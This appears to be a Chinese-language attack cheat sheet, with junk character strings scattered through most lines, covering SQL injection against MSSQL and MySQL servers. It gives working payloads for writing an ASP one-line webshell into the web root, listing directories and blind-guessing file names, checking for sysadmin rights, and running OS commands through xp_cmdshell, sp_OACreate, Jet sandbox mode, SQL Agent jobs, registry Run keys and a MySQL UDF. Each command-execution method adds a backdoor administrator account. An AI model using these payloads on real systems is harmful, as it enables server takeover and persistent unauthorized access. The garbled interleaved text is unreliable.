MSSQL语句导出一句话木马 K7 w# S6 m& T( I5 ^0 P
首先确定网站的WEB路径+ j8 k; F7 x" l" M, o
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马- O1 J' Z% n' V( ~
# ^- ^6 M+ R9 L6 R4 J;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
' d$ t; g$ h) j7 p//将一句话木马插入表中6 z& d I( E; V0 R$ I% z
; ? i2 X3 z" y% J. H3 R;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
1 [9 H0 p3 U) U7 R//导出一个ASP文件2 @! p" k9 R% a& z0 a
% h7 W0 y( F; e
7 A4 Z4 c ~* t: x" B关于MSSQL列目录
0 N+ u- p K1 C;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表: k3 |5 M: V1 B! b: I2 ^) @7 A' u
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
9 q( q& Z: ~6 L* ?4 h' @/ L1 U/ m1 a0 |$ ^; g# x
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录, t0 a% ^. Z# Y8 C6 w
; u5 s2 b8 J- {# T9 Z, |And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
% Z3 x6 C5 `( X/ C2 S4 X' \- q( r, c. A" S7 U# l
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符! s- `( H1 D: M: ?: M% j* j5 T
; q+ M9 ~/ v5 ~) c
+ ]* P1 b1 d3 c: u8 {数据库版本和权限查看
' J) U% s: l7 p3 q2 T6 `5 vand 1=(select @@VERSION) //查看详细的数据库信息.
" p& P J3 t. G2 E3 d0 E/ t: Fand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
3 `' \9 E2 Y H' x9 }3 t9 Nand 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER6 R$ i* g: t5 m( x5 i
2 l% H# B) y' m, ^$ U; u( V
' _- i0 Z9 A# a m G" k
1.利用xp_cmdshell执行命令! m7 ~4 _* X+ ~6 ]: L h
exec master..xp_cmdshell 'net user rfire 123456 /add'( k O( h' F5 G9 P+ \% q
exec master..xp_cmdshell 'net localgroup administrators rfire /add'
3 O% A+ } e; c9 P- T0 V# A/ V. B0 R8 X( c' q4 W
恢复xp_cmdshell存储过程2 @5 l7 J3 \6 o
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
* K. c' z' |4 G- \, V( h( \8 K+ w/ @2 ?& p9 N9 f
$ \# T0 M/ D4 u j/ {3 o6 J
2.利用SP_OAcreate和SP_OAMETHOD执行命令. o p5 b6 i1 V H2 K, M
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下, F4 I# K- p6 f; p: U5 k; N
DECLARE @shell INT //建立一个@shell实体6 |7 o- A" B( M( n$ d
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
6 J8 w9 l* j- GEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
$ f. ] E7 a9 u# A: B) V* X( d. x+ O A% z
* U/ R) k% g5 K: M- i. ~/ d) A) @
3.利用沙盒模式) |) v0 {+ |8 Y3 D
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。/ @& `. w+ E8 m
开启沙盒模式:
+ \+ i- z6 K o$ gEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',07 V5 R" w; w/ U7 `5 [$ ^! o
L( s M% Q7 g( ]. `执行命令:! k# z% Z* {0 I: {. x& T4 `
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
1 {" V" m% h; Y: o3 h- C- E
2 G- i' J0 | ^+ o: s. M) r- c6 f4 J' X
4.利用SQL代理执行命令
1 }; A; L9 o$ D& ^) G, z# o8 x# ?' pEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务$ I, R3 G) T$ d0 r# Z$ Y/ E
2 Y7 f9 c- @3 u- v) }执行命令:
' E; x3 X! q# k9 v+ V( W2 V. euse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错2 Z7 K6 F! L y& O. K
exec sp_add_job 'x'
7 w9 X" n( U. u' L- _$ g! t' B7 oexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
; A [; v3 F, oexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业 H7 h3 i, x$ A% a7 ` `
1 g! |7 t: A- U) K+ h* y2 B
- Z t6 j/ J3 b7 {5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
5 y4 h$ I7 m( i% W, AEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
" Y! Y- E' n6 N2 T* ?
7 _$ a. E% ~9 a" C9 w' j S2 p, G4 ?
3 M: k2 M* B( T) ?) A( B0 F6.MYSQL的命令执行) U" e- Y% ^" e+ Q5 K1 x
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
9 i$ ?, y3 f4 a8 d0 N4 D首先要在su.php下导出c:\windows\udf.dll
- P. y! V5 G) d5 f0 `. C" o9 A, y导出后执行创建自定义函数命令:
1 k2 D' y# S& \$ Y4 K8 _Create Function cmdshell returns string soname 'udf.dll'
0 Y: K/ ^ v2 r! k/ a执行命令
- T5 [/ c! B( F W7 r8 |select cmdshell('net user rfire 123456 /add')
! r1 ~- U0 a! V1 G" b执行后删除函数 drop function cmdshell
( a/ N0 q! e1 q4 A |